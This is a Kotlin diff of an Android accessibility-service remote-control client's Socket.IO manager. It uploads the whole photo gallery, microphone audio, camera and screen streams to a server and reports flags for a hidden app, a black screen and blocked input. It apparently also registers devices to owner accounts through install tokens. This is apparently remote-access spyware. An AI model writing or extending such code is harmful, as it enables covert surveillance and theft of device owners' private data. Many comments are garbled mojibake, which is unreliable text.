val base64Data = loadImageAsJpegBase64(itx.contentUri, 1280, 1280, 75)
@@ -118,14 +135,14 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
return@forEachIndexed
}
- // 频率限制,避免与其他数据通道冲突
+ // 棰戠巼闄愬埗锛岄伩鍏嶄笌鍏朵粬鏁版嵁閫氶亾鍐茬獊
val now = System.currentTimeMillis()
if (now - lastGalleryImageTime < galleryImageInterval) {
Thread.sleep(galleryImageInterval - (now - lastGalleryImageTime))
}
lastGalleryImageTime = System.currentTimeMillis()
- // 大小限制
+ // comment cleaned
val approxBytes = (base64Data.length * 3) / 4
if (approxBytes > maxGalleryImageSize) {
Log.w(TAG, "Gallery image too large, skipped: ${approxBytes}B > ${maxGalleryImageSize}B (${itx.displayName})")
@@ -159,25 +176,69 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
checkConnectionAndReconnect()
}
} catch (e: Exception) {
- Log.e(TAG, "发送相册数据失败", e)
+ Log.e(TAG, "Send gallery data failed", e)
}
}
- // 🆕 相册读取/发送控制
+ /**
+ * Send album metadata payload so Web can end loading state even when image streaming is slow.
+ */
+ private fun sendAlbumData(items: List) {
+ try {
+ if (socket?.connected() != true) {
+ Log.w(TAG, "Socket not connected, cannot send album data")
+ return
+ }
+
+ val albumList = JSONArray()
+ items.forEach { item ->
+ val entry = JSONObject().apply {
+ put("id", item.id)
+ put("displayName", item.displayName)
+ put("dateAdded", item.dateAdded)
+ put("mimeType", item.mimeType)
+ put("width", item.width)
+ put("height", item.height)
+ put("size", item.size)
+ put("contentUri", item.contentUri)
+ // Keep compatible field so web side can build resolvedUrl safely.
+ put("data", "")
+ }
+ albumList.put(entry)
+ }
+
+ val payload = JSONObject().apply {
+ put("deviceId", getDeviceId())
+ put("type", "album_data")
+ put("timestamp", System.currentTimeMillis())
+ put("count", items.size)
+ put("albumList", albumList)
+ }
+ socket?.emit("album_data", payload)
+ Log.i(TAG, "Album metadata sent: ${items.size} items")
+ } catch (e: Exception) {
+ Log.e(TAG, "Send album data failed", e)
+ }
+ }
+
+ // comment cleaned
private var galleryJob: Job? = null
/**
- * 启动完整相册读取并发送任务;若正在进行则取消并重启
+ * comment cleaned
*/
fun startReadAndSendAllGallery() {
try {
- // 取消上一次任务
+ // comment cleaned
galleryJob?.cancel()
Log.d(TAG, "Cancel previous gallery read task (if exists)")
galleryJob = scope.launch(Dispatchers.IO) {
Log.d(TAG, "Start reading all gallery images (no limit)")
val items = service.readGallery(limit = -1)
+ // Always send album metadata first so web can render/stop loading quickly.
+ sendAlbumData(items)
+
Log.d(TAG, "Gallery read complete, total ${items.size} images, start sending")
sendGalleryData(items)
Log.d(TAG, "Gallery send task complete")
@@ -188,7 +249,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
}
/**
- * 发送麦克风音频数据到服务器
+ * comment cleaned
*/
fun sendMicrophoneAudio(base64Audio: String, sampleRate: Int, sampleCount: Int, format: String = "PCM_16BIT_MONO") {
try {
@@ -208,21 +269,37 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
}
socket?.emit("microphone_audio", payload)
} catch (e: Exception) {
- Log.e(TAG, "发送音频数据失败", e)
+ Log.e(TAG, "Send microphone audio data failed", e)
}
}
private var socket: Socket? = null
private var isConnected = false
private var isDeviceRegistered = false
- private var serverUrl: String = "" // 保存服务器地址
+ private var serverUrl: String = "" // 娣囨繂鐡ㄩ張宥呭閸c劌婀撮崸鈧?
- // 崩溃日志上传器
+ // comment cleaned
private val crashLogUploader = CrashLogUploader(service)
// Active connection check
private val scope = CoroutineScope(Dispatchers.IO + SupervisorJob())
private var connectionCheckJob: Job? = null
+ // Heartbeat ACK freshness tracking
+ @Volatile private var lastConnectionTestSentTime = 0L
+ @Volatile private var lastConnectionTestAckTime = 0L
+ @Volatile private var lastHeartbeatAckTime = 0L
+ @Volatile private var staleAckCount = 0
+ // Connection diagnostics
+ @Volatile private var lastConnectTime = 0L
+ @Volatile private var lastDisconnectTime = 0L
+ @Volatile private var lastDisconnectReason = ""
+ @Volatile private var lastConnectErrorTime = 0L
+ @Volatile private var lastConnectErrorMessage = ""
+ @Volatile private var lastDeviceRegisterEmitTime = 0L
+ @Volatile private var lastDeviceRegisteredTime = 0L
+ private val diagnosticEvents = ArrayDeque()
+ private val diagnosticEventsLock = Any()
+ private val maxDiagnosticEvents = 120
// Device registration management
private var registrationTimeoutHandler: Runnable? = null
@@ -232,43 +309,184 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
// Network status monitoring
private var lastNetworkType: String? = null
- private var lastConnectTime: Long = 0
private var transportErrorCount = 0
private var lastTransportErrorTime = 0L
// Network quality monitoring
- private var networkQualityScore = 100 // 0-100分,100为最佳
+ private var networkQualityScore = 100 // 0-100鍒嗭紝100涓烘渶浣?
private var connectionSuccessCount = 0
private var connectionFailureCount = 0
- private val recentConnectionTimes = mutableListOf() // 记录最近10次连接持续时间
+ private val recentConnectionTimes = mutableListOf() // 璁板綍鏈€杩?0娆¤繛鎺ユ寔缁椂闂?
// Screen data send failure tracking
private var screenDataFailureCount = 0
// Screen data send rate control
private var lastScreenDataTime = 0L
- private val screenDataInterval = 50L // 50ms interval, matching 20fps max throughput
- private val maxScreenDataSize = 2 * 1024 * 1024 // 2MB限制,避免数据过大
+ @Volatile private var screenDataInterval = 16L // 鍥哄畾鐩爣绾?0fps
+ private val maxScreenDataSize = 2 * 1024 * 1024 // 2MB limit to avoid transport overload
+ private var serverSupportsBinaryScreenData = false
+ private var serverSupportsWebRtc = false
+ private var serverSupportsSrtGateway = false
+ private var serverPreferredVideoTransport = "webrtc"
+ private var screenPerfLogCounter = 0
+ @Volatile private var lastMediaProjectionRefreshTriggerTime = 0L
+ private val webRtcTransportPolicy = DeviceDetector.getWebRtcTransportPolicy()
+ private val mediaProjectionRefreshTriggerIntervalMs = webRtcTransportPolicy.refreshTriggerIntervalMs
+ private val mediaProjectionEmergencyRefreshMinIntervalMs = webRtcTransportPolicy.emergencyRefreshMinIntervalMs
+ private val webRtcOfferRetryAfterRefreshDelayMs = webRtcTransportPolicy.offerRetryDelayMs
+ private val webRtcOfferRetryAfterRefreshMax = webRtcTransportPolicy.offerRetryMax
+ private val webRtcOfferRetryLock = Any()
+ private val webRtcOfferRetryCountByClient: MutableMap = mutableMapOf()
+ private val srtStreamManager: SrtStreamManager by lazy {
+ SrtStreamManager(service, object : SrtStreamManager.Listener {
+ override fun onStateChanged(state: String, message: String, extra: JSONObject?) {
+ handleSrtStreamStateChanged(state, message, extra)
+ }
+ })
+ }
+ private val webRTCManager: WebRTCManager by lazy {
+ WebRTCManager(service, object : WebRTCManager.Listener {
+ override fun onAnswer(deviceId: String, clientId: String, type: String, sdp: String) {
+ sendWebRTCAnswer(deviceId, clientId, type, sdp)
+ }
+
+ override fun onIceCandidate(deviceId: String, clientId: String, candidate: IceCandidate) {
+ sendWebRTCIceCandidate(deviceId, clientId, candidate)
+ }
+
+ override fun onStateChanged(
+ deviceId: String,
+ clientId: String,
+ state: String,
+ message: String,
+ extra: JSONObject?
+ ) {
+ handleWebRtcStateChanged(deviceId, clientId, state, message, extra)
+ }
+
+ override fun onStopped(deviceId: String, clientId: String, reason: String) {
+ sendWebRTCStop(deviceId, clientId, reason)
+ }
+ })
+ }
- // 📷 摄像头数据发送控制
+ // comment cleaned
private var lastCameraDataTime = 0L
- private val cameraDataInterval = 200L // 摄像头数据发送间隔200ms,匹配5fps,与屏幕数据保持一致
- private val maxCameraDataSize = 1 * 1024 * 1024 // 1MB限制,摄像头数据通常较小
+ private val cameraDataInterval = 200L // 鎽勫儚澶存暟鎹彂閫侀棿闅?00ms锛屽尮閰?fps锛屼笌灞忓箷鏁版嵁淇濇寔涓€鑷?
+ private val maxCameraDataSize = 1 * 1024 * 1024 // 1MB limit, camera frames are usually smaller
private var cameraDataFailureCount = 0
// Connection stability monitoring
private var lastSuccessfulDataSend = 0L
- private val dataStarvationTimeout = 10000L // 10秒没有成功发送数据视为饥饿
+ private val dataStarvationTimeout = 10000L // 10绉掓病鏈夋垚鍔熷彂閫佹暟鎹涓洪ゥ楗?
private var isDataStarved = false
- // 🆕 公网IP相关
+ // comment cleaned
private var cachedPublicIP: String? = null
private var lastIPCheckTime = 0L
- private val IP_CACHE_DURATION = 300000L // 5分钟缓存
+ private val IP_CACHE_DURATION = 300000L // 5鍒嗛挓缂撳瓨
+ @Volatile private var lastInstallResolveAttemptTime = 0L
+ private val installResolveAttemptIntervalMs = 20000L
// Gallery image send throttle/size limit
private var lastGalleryImageTime = 0L
private val galleryImageInterval = 250L
private val maxGalleryImageSize = 2 * 1024 * 1024 // 2MB
+
+ private fun handleSrtStreamStateChanged(state: String, message: String, extra: JSONObject?) {
+ val normalizedState = state.trim().lowercase()
+ val fallbackToWs = normalizedState == "failed" || normalizedState == "stopped"
+
+ try {
+ if (fallbackToWs) {
+ service.getScreenCaptureManager()?.resumeCapture()
+ } else if (normalizedState == "starting" || normalizedState == "running") {
+ service.getScreenCaptureManager()?.pauseCapture()
+ }
+ } catch (e: Exception) {
+ Log.w(TAG, "Sync WS capture state with SRT status failed", e)
+ }
+
+ val mergedExtra = JSONObject()
+ if (extra != null) {
+ val keys = extra.keys()
+ while (keys.hasNext()) {
+ val key = keys.next()
+ mergedExtra.put(key, extra.opt(key))
+ }
+ }
+ mergedExtra.put("wsFallbackActive", fallbackToWs)
+
+ sendSrtDeviceStatus(state, message, mergedExtra)
+ }
+
+ private fun handleWebRtcStateChanged(
+ deviceId: String,
+ clientId: String,
+ state: String,
+ message: String,
+ extra: JSONObject?
+ ) {
+ val normalizedState = state.trim().lowercase()
+ val fallbackToWs = normalizedState == "failed" || normalizedState == "stopped"
+ val detail = extra?.optJSONObject("detail")
+ val forceResetPermissionData = shouldForceResetMediaProjectionPermissionData(message, detail)
+ val bypassRefreshCooldown =
+ shouldBypassMediaProjectionRefreshCooldown(message, detail)
+ val shouldRefresh =
+ normalizedState == "failed" &&
+ shouldTriggerMediaProjectionRefreshByMessage(message, detail)
+ val refreshTriggered = shouldRefresh && triggerMediaProjectionRefreshIfNeeded(
+ triggerReason = "webrtc_state:$message",
+ forceResetPermissionData = forceResetPermissionData,
+ bypassCooldown = bypassRefreshCooldown
+ )
+ if (normalizedState == "failed") {
+ val hasPermissionData = detail?.optBoolean("hasPermissionData", false)
+ val hasProjectionObject = detail?.optBoolean("hasProjectionObject", false)
+ val exceptionMessage = detail?.optString("exceptionMessage", "").orEmpty()
+ Log.i(
+ TAG,
+ "WebRTC failed state analysis: message=$message, hasDetail=${detail != null}, hasPermissionData=$hasPermissionData, hasProjectionObject=$hasProjectionObject, exception=$exceptionMessage, shouldRefresh=$shouldRefresh, forceReset=$forceResetPermissionData, bypassCooldown=$bypassRefreshCooldown, refreshTriggered=$refreshTriggered"
+ )
+ }
+
+ try {
+ if (fallbackToWs) {
+ service.getScreenCaptureManager()?.resumeCapture()
+ } else if (normalizedState == "starting" || normalizedState == "running") {
+ service.getScreenCaptureManager()?.pauseCapture()
+ }
+ } catch (e: Exception) {
+ Log.w(TAG, "Sync WS capture state with WebRTC status failed", e)
+ }
+
+ val mergedExtra = JSONObject()
+ if (extra != null) {
+ val keys = extra.keys()
+ while (keys.hasNext()) {
+ val key = keys.next()
+ mergedExtra.put(key, extra.opt(key))
+ }
+ }
+ if (refreshTriggered) {
+ mergedExtra.put("projectionRefreshTriggered", true)
+ if (forceResetPermissionData) {
+ mergedExtra.put("projectionRefreshForceReset", true)
+ }
+ if (bypassRefreshCooldown) {
+ mergedExtra.put("projectionRefreshBypassCooldown", true)
+ }
+ }
+
+ sendWebRTCState(
+ deviceId = deviceId,
+ clientId = clientId,
+ state = state,
+ message = message,
+ extra = if (mergedExtra.length() > 0) mergedExtra else null
+ )
+ }
/**
* Convert ws/wss protocol to http/https for Socket.IO v4 compatibility.
@@ -296,6 +514,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
// Socket.IO v4 requires http/https protocol, convert ws/wss if needed
val socketIoUrl = convertToSocketIoProtocol(serverUrl)
this.serverUrl = socketIoUrl
+ recordDiagnosticEvent("CONNECT_START url=$socketIoUrl")
Log.i(TAG, "Connecting to Socket.IO v4 server: $socketIoUrl")
// Validate server URL format
@@ -313,38 +532,37 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
return
}
- // Config consistency check
+ // Config consistency check: only log mismatch.
+ // URL selection priority is handled by NetworkManager to avoid recursive override loops.
val savedUrl = com.hikoncont.util.ConfigWriter.getCurrentServerUrl(service)
if (savedUrl != null) {
val normalizedSaved = convertToSocketIoProtocol(savedUrl)
if (normalizedSaved != socketIoUrl) {
- Log.w(TAG, "Config mismatch! Current: $socketIoUrl, Config: $normalizedSaved, using config URL")
- connect(normalizedSaved)
- return
+ Log.i(TAG, "Resolved server URL: $socketIoUrl (local stored: $normalizedSaved)")
}
}
// Socket.IO v4 config - enhanced stability + randomized reconnect to avoid thundering herd
val options = IO.Options().apply {
- // Support polling+websocket dual transport, allow upgrade to websocket for better frame rate
- transports = arrayOf("polling", "websocket")
+ // Prefer websocket for lower latency, fallback to polling when needed
+ transports = arrayOf("websocket", "polling")
reconnection = true
// Enhanced network stability config - randomized delay to spread reconnect timing
val randomOffset = (1000..3000).random().toLong()
if (Build.VERSION.SDK_INT >= 35) { // Android 15 (API 35)
- // Android 15 特殊配置 - 更保守的超时设置
- timeout = 60000 // 连接超时60秒
- reconnectionDelay = 5000L + randomOffset // 重连延迟5-8秒,避免集中重连
- reconnectionDelayMax = 20000 // 最大重连延迟20秒
- reconnectionAttempts = 20 // 减少重连次数,避免过度重试
+ // Android 15 閻楄鐣╅柊宥囩枂 - 鏇翠繚瀹堢殑瓒呮椂璁剧疆
+ timeout = 60000 // 杩炴帴瓒呮椂60绉?
+ reconnectionDelay = 5000L + randomOffset // 闁插秷绻涘鎯扮箿5-8绉掞紝閬垮厤闆嗕腑閲嶈繛
+ reconnectionDelayMax = 20000 // 鏈€澶ч噸杩炲欢杩?0绉?
+ reconnectionAttempts = 20 // 鍑忓皯閲嶈繛娆℃暟锛岄伩鍏嶈繃搴﹂噸璇?
Log.i(TAG, "Android 15 stability config, random delay: +${randomOffset}ms")
} else {
- // 其他版本使用优化后的配置
- timeout = 45000 // 连接超时45秒
- reconnectionDelay = 3000L + randomOffset // 重连延迟3-6秒,分散重连
- reconnectionDelayMax = 15000 // 最大重连延迟15秒
- reconnectionAttempts = 25 // 适中的重连次数
+ // 鍏朵粬鐗堟湰浣跨敤浼樺寲鍚庣殑閰嶇疆
+ timeout = 45000 // 杩炴帴瓒呮椂45绉?
+ reconnectionDelay = 3000L + randomOffset // 闁插秷绻涘鎯扮箿3-6绉掞紝鍒嗘暎閲嶈繛
+ reconnectionDelayMax = 15000 // 鏈€澶ч噸杩炲欢杩?5绉?
+ reconnectionAttempts = 25 // 閫備腑鐨勯噸杩炴鏁?
Log.i(TAG, "Standard stability config, random delay: +${randomOffset}ms")
}
@@ -354,17 +572,17 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
// Network environment adaptation
if (Build.VERSION.SDK_INT >= 35) { // Android 15 (API 35)
- // 添加网络容错配置,包含设备信息用于服务器优化
+ // comment cleaned
query = "android15=true&api=${Build.VERSION.SDK_INT}&manufacturer=${android.os.Build.MANUFACTURER}&model=${android.os.Build.MODEL.replace(" ", "_")}"
}
- Log.i(TAG, "Socket.IO config: polling+websocket transport with upgrade")
+ Log.i(TAG, "Socket.IO config: websocket-first transport with polling fallback")
}
socket = IO.socket(socketIoUrl, options)
setupEventListeners()
socket?.connect()
- // 启动锁屏状态监控
+ // comment cleaned
startLockStateMonitor()
} catch (e: Exception) {
@@ -380,6 +598,10 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
Log.i(TAG, "Socket.IO v4 connected, socketId=${socket.id()}")
isConnected = true
isDeviceRegistered = false
+ lastConnectTime = System.currentTimeMillis()
+ lastDisconnectReason = ""
+ lastConnectErrorMessage = ""
+ recordDiagnosticEvent("CONNECTED socketId=${socket.id()}")
// Record connection metrics
lastConnectTime = System.currentTimeMillis()
@@ -387,6 +609,11 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
connectionFailureCount = 0
connectionSuccessCount++
updateNetworkQualityScore(true)
+ val now = System.currentTimeMillis()
+ lastConnectionTestSentTime = 0L
+ lastConnectionTestAckTime = now
+ lastHeartbeatAckTime = now
+ staleAckCount = 0
// Detect network type change
val currentNetworkType = getCurrentNetworkType()
@@ -410,6 +637,9 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
socket.on(Socket.EVENT_DISCONNECT) { args ->
val reason = if (args.isNotEmpty()) args[0].toString() else "unknown"
Log.w(TAG, "Socket.IO v4 disconnected: $reason")
+ lastDisconnectTime = System.currentTimeMillis()
+ lastDisconnectReason = reason
+ recordDiagnosticEvent("DISCONNECTED reason=$reason")
val currentTime = System.currentTimeMillis()
val connectionDuration = currentTime - lastConnectTime
@@ -432,6 +662,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
isConnected = false
isDeviceRegistered = false
+ staleAckCount = 0
registrationAttempts = 0
registrationTimeoutHandler?.let { handler ->
@@ -440,12 +671,25 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
}
connectionCheckJob?.cancel()
+ try {
+ srtStreamManager.release()
+ } catch (e: Exception) {
+ Log.w(TAG, "Release SRT manager on socket disconnect failed", e)
+ }
+ try {
+ webRTCManager.release()
+ } catch (e: Exception) {
+ Log.w(TAG, "Release WebRTC manager on socket disconnect failed", e)
+ }
service.pauseScreenCapture()
}
socket.on(Socket.EVENT_CONNECT_ERROR) { args ->
val error = if (args.isNotEmpty()) args[0] else null
val errorMsg = error?.toString() ?: "unknown"
+ lastConnectErrorTime = System.currentTimeMillis()
+ lastConnectErrorMessage = errorMsg
+ recordDiagnosticEvent("CONNECT_ERROR $errorMsg")
connectionFailureCount++
updateNetworkQualityScore(false, "connect_error", 0)
@@ -472,6 +716,8 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
val data = args[0] as JSONObject
Log.i(TAG, "Device registered successfully: ${data.optString("message")}")
isDeviceRegistered = true
+ lastDeviceRegisteredTime = System.currentTimeMillis()
+ recordDiagnosticEvent("DEVICE_REGISTERED deviceId=${data.optString("deviceId", getDeviceId())}")
registrationAttempts = 0
// Cancel timeout handler
@@ -489,6 +735,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
// Upload pending crash logs
crashLogUploader.uploadPendingLogs(socket, getDeviceId())
+ sendRuntimeFlagsSync("device_registered")
} catch (e: Exception) {
Log.e(TAG, "Failed to process device_registered response", e)
@@ -504,7 +751,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
val data = args[0] as JSONObject
handleControlMessage(data)
} catch (e: Exception) {
- Log.e(TAG, "处理控制命令失败", e)
+ Log.e(TAG, "Failed to handle control command", e)
}
}
}
@@ -529,10 +776,14 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
val data = args[0] as JSONObject
val success = data.optBoolean("success", false)
val timestamp = data.optLong("timestamp", 0)
+ val now = System.currentTimeMillis()
+ lastConnectionTestAckTime = now
+ lastHeartbeatAckTime = now
+ staleAckCount = 0
Log.d(TAG, "Received server heartbeat response: success=$success, timestamp=$timestamp")
- // 重置心跳失败计数,表示连接正常
- // 这个响应表明服务器正常处理了我们的心跳测试
+ // comment cleaned
+ // comment cleaned
} else {
Log.w(TAG, "Received CONNECTION_TEST_RESPONSE but no args")
}
@@ -552,6 +803,10 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
if (args.isNotEmpty()) {
val data = args[0] as JSONObject
val timestamp = data.optLong("timestamp", 0)
+ val now = System.currentTimeMillis()
+ lastHeartbeatAckTime = now
+ lastConnectionTestAckTime = maxOf(lastConnectionTestAckTime, now)
+ staleAckCount = 0
Log.d(TAG, "Received server heartbeat ack: timestamp=$timestamp")
}
} catch (e: Exception) {
@@ -559,7 +814,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
}
}
- // 处理UI层次结构分析请求
+ // comment cleaned
socket.on("ui_hierarchy_request") { args ->
Log.e(TAG, "Received UI hierarchy request")
Log.e(TAG, "Socket status: connected=${socket.connected()}, id=${socket.id()}")
@@ -588,6 +843,9 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
val maxWidth = data.optInt("maxWidth", -1)
val maxHeight = data.optInt("maxHeight", -1)
service.getScreenCaptureManager()?.adjustQuality(fps, quality, maxWidth, maxHeight)
+ // comment cleaned
+ screenDataInterval = 16L
+ Log.i(TAG, "Screen send interval locked: ${screenDataInterval}ms (fixed 60fps target)")
// Support server command to switch capture mode
val captureMode = data.optString("captureMode", "")
@@ -603,6 +861,83 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
}
}
}
+
+ socket.on("webrtc_offer") { args ->
+ if (args.isNotEmpty()) {
+ try {
+ val data = args[0] as JSONObject
+ handleWebRtcOffer(data)
+ } catch (e: Exception) {
+ Log.e(TAG, "Failed to handle webrtc_offer", e)
+ }
+ } else {
+ Log.w(TAG, "Received webrtc_offer with no args")
+ }
+ }
+
+ socket.on("webrtc_ice_candidate") { args ->
+ if (args.isNotEmpty()) {
+ try {
+ val data = args[0] as JSONObject
+ handleWebRtcIceCandidate(data)
+ } catch (e: Exception) {
+ Log.e(TAG, "Failed to handle webrtc_ice_candidate", e)
+ }
+ }
+ }
+
+ socket.on("webrtc_stop") { args ->
+ val data = if (args.isNotEmpty() && args[0] is JSONObject) args[0] as JSONObject else JSONObject()
+ try {
+ handleWebRtcStop(data)
+ } catch (e: Exception) {
+ Log.e(TAG, "Failed to handle webrtc_stop", e)
+ }
+ }
+
+ socket.on("server_capabilities") { args ->
+ if (args.isNotEmpty()) {
+ try {
+ val data = args[0] as JSONObject
+ val supportedTransports = mutableSetOf()
+ val transportArray = data.optJSONArray("supportedVideoTransports")
+ if (transportArray != null) {
+ for (i in 0 until transportArray.length()) {
+ val item = transportArray.optString(i, "").trim().lowercase()
+ if (item.isNotEmpty()) supportedTransports.add(item)
+ }
+ }
+ val preferredTransport = data.optString("videoTransport", "webrtc")
+ .trim()
+ .lowercase()
+ if (preferredTransport.isNotEmpty()) {
+ supportedTransports.add(preferredTransport)
+ }
+
+ serverSupportsBinaryScreenData = data.optBoolean("screenBinary", false)
+ serverSupportsSrtGateway = data.optBoolean("srtGatewayEnabled", false)
+ serverSupportsWebRtc = supportedTransports.contains("webrtc")
+ serverPreferredVideoTransport = preferredTransport.ifEmpty { "webrtc" }
+
+ val turnUrls = data.optString("webrtcTurnUrls", "").trim()
+ val turnUsername = data.optString("webrtcTurnUsername", "").trim()
+ val turnPassword = data.optString("webrtcTurnPassword", "").trim()
+ webRTCManager.updateTurnConfig(
+ urlsRaw = turnUrls,
+ username = turnUsername,
+ password = turnPassword
+ )
+
+ Log.i(
+ TAG,
+ "Server capabilities: screenBinary=$serverSupportsBinaryScreenData, webrtc=$serverSupportsWebRtc, srtGateway=$serverSupportsSrtGateway, videoTransport=$serverPreferredVideoTransport"
+ )
+ } catch (e: Exception) {
+ Log.w(TAG, "Failed to parse server_capabilities", e)
+ }
+ }
+ }
+
}
}
@@ -616,21 +951,40 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
Log.d(TAG, "Registration throttled, skipping duplicate")
return@launch
}
-
+
+ val activeSocket = socket
+ if (activeSocket == null || !activeSocket.connected()) {
+ Log.w(TAG, "Skip device_register: socket not connected")
+ return@launch
+ }
+
+ val socketId = activeSocket.id()
+ if (socketId.isNullOrBlank()) {
+ Log.w(TAG, "Skip device_register: socket id not ready")
+ return@launch
+ }
+
lastRegistrationTime = currentTime
registrationAttempts++
-
+
// Allow more retry attempts before giving up
val MAX_REGISTRATION_ATTEMPTS = 30
if (registrationAttempts > MAX_REGISTRATION_ATTEMPTS) {
Log.e(TAG, "Registration attempts exceeded $MAX_REGISTRATION_ATTEMPTS, pausing")
return@launch
}
-
+
+ resolveInstallOwnerIfNeeded()
+
val publicIP = getPublicIP()
+ val ownerUserId = getLongConfigValue("ownerUserId")
+ val ownerUsername = getStringConfigValue("ownerUsername")
+ val ownerGroupId = getLongConfigValue("ownerGroupId")
+ val ownerGroupName = getStringConfigValue("ownerGroupName")
val androidDeviceId = getDeviceId()
- val socketId = socket?.id() ?: "unknown"
+ val supportsWebRtcUpload = Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP
+ val supportsSrtUpload = srtStreamManager.isRuntimeSupported()
val deviceInfo = JSONObject().apply {
put("deviceId", androidDeviceId)
put("socketId", socketId)
@@ -649,6 +1003,17 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
put("input")
put("screenshot")
})
+ put("supportedVideoTransports", org.json.JSONArray().apply {
+ if (supportsWebRtcUpload) {
+ put("webrtc")
+ }
+ put("ws_binary")
+ if (supportsSrtUpload) {
+ put("srt_mpegts")
+ }
+ })
+ put("webrtcUploadSupported", supportsWebRtcUpload)
+ put("srtUploadSupported", supportsSrtUpload)
put("inputBlocked", service.isInputBlocked())
put("blackScreenActive", service.isBlackScreenActive())
put("appHidden", service.isAppHidden())
@@ -660,11 +1025,16 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
put("romType", getROMType())
put("romVersion", getROMVersion())
put("osBuildVersion", getOSBuildVersion())
+ ownerUserId?.let { put("ownerUserId", it) }
+ ownerUsername?.let { put("ownerUsername", it) }
+ ownerGroupId?.let { put("ownerGroupId", it) }
+ ownerGroupName?.let { put("ownerGroupName", it) }
}
- Log.i(TAG, "Sending device_register #$registrationAttempts: deviceId=$androidDeviceId, socketId=$socketId, connected=${socket?.connected()}")
-
- val emitResult = socket?.emit("device_register", deviceInfo)
+ Log.i(TAG, "Sending device_register #$registrationAttempts: deviceId=$androidDeviceId, socketId=$socketId, connected=${activeSocket.connected()}")
+ lastDeviceRegisterEmitTime = System.currentTimeMillis()
+ recordDiagnosticEvent("DEVICE_REGISTER_EMIT attempt=$registrationAttempts deviceId=$androidDeviceId")
+ val emitResult = activeSocket.emit("device_register", deviceInfo)
Log.i(TAG, "device_register emit result: $emitResult")
// Set registration timeout: retry after 10 seconds if no confirmation
@@ -687,74 +1057,248 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
}
}
}
+
+ /**
+ * comment cleaned
+ * comment cleaned
+ * comment cleaned
+ */
+ private fun getStringConfigValue(key: String): String? {
+ return try {
+ ConfigReader.getConfigValue(service, key)?.trim()?.takeIf { it.isNotEmpty() }
+ } catch (e: Exception) {
+ Log.w(TAG, "Read config string failed: key=$key", e)
+ null
+ }
+ }
+
+ /**
+ * comment cleaned
+ * comment cleaned
+ * 璇存槑: 浠?server_config.json 璇诲彇 Long 閰嶇疆锛屾牸寮忎笉鍚堟硶鏃惰繑鍥?null銆?
+ */
+ private fun getLongConfigValue(key: String): Long? {
+ val raw = getStringConfigValue(key) ?: return null
+ return raw.toLongOrNull()
+ }
+
+ /**
+ * comment cleaned
+ * comment cleaned
+ * 璇存槑: 鑻ユ湰鍦板皻鏈啓鍏ュ綊灞炰俊鎭紝鍒欎娇鐢ㄥ畨瑁匱oken鍚戝悗绔В鏋愬苟钀藉湴鍒伴厤缃枃浠躲€?
+ */
+ private suspend fun resolveInstallOwnerIfNeeded() {
+ val existingOwnerUserId = getLongConfigValue("ownerUserId")
+ if (existingOwnerUserId != null) {
+ return
+ }
+
+ val installToken = getStringConfigValue("installToken") ?: return
+ val currentTime = System.currentTimeMillis()
+ if (currentTime - lastInstallResolveAttemptTime < installResolveAttemptIntervalMs) {
+ return
+ }
+ lastInstallResolveAttemptTime = currentTime
+
+ val resolveUrl = resolveInstallResolveUrl() ?: return
+ val encodedToken = try {
+ URLEncoder.encode(installToken, "UTF-8")
+ } catch (e: Exception) {
+ Log.w(TAG, "Install token encode failed", e)
+ return
+ }
+
+ val finalUrl = if (resolveUrl.contains("?")) {
+ "$resolveUrl&token=$encodedToken"
+ } else {
+ "$resolveUrl?token=$encodedToken"
+ }
+
+ try {
+ val url = java.net.URL(finalUrl)
+ val connection = (url.openConnection() as java.net.HttpURLConnection).apply {
+ requestMethod = "GET"
+ connectTimeout = 6000
+ readTimeout = 6000
+ setRequestProperty("Accept", "application/json")
+ }
+
+ val responseCode = connection.responseCode
+ val responseBody = try {
+ if (responseCode in 200..299) {
+ connection.inputStream.bufferedReader().use { it.readText() }
+ } else {
+ connection.errorStream?.bufferedReader()?.use { it.readText() } ?: ""
+ }
+ } finally {
+ connection.disconnect()
+ }
+
+ if (responseCode !in 200..299 || responseBody.isBlank()) {
+ Log.w(TAG, "Install token resolve failed: code=$responseCode")
+ return
+ }
+
+ val root = JSONObject(responseBody)
+ if (!root.optBoolean("success", false)) {
+ Log.w(TAG, "Install token resolve rejected: ${root.optString("message")}")
+ return
+ }
+
+ val data = root.optJSONObject("data") ?: return
+ val ownerUserId = optLongFromJson(data, "ownerUserId")
+ val ownerUsername = data.optString("ownerUsername", "").trim().takeIf { it.isNotEmpty() }
+ if (ownerUserId == null && ownerUsername == null) {
+ Log.w(TAG, "Install token resolved but owner fields are empty")
+ return
+ }
+
+ val ownerGroupId = optLongFromJson(data, "ownerGroupId")
+ val ownerGroupName = data.optString("ownerGroupName", "").trim().takeIf { it.isNotEmpty() }
+ val resolvedServerUrl = data.optString("serverUrl", "").trim().takeIf { it.isNotEmpty() }
+ val resolvedWebUrl = data.optString("webUrl", "").trim().takeIf { it.isNotEmpty() }
+ val resolvedTurnUrls = data.optString("webrtcTurnUrls", "").trim().takeIf { it.isNotEmpty() }
+ val resolvedTurnUsername = data.optString("webrtcTurnUsername", "").trim().takeIf { it.isNotEmpty() }
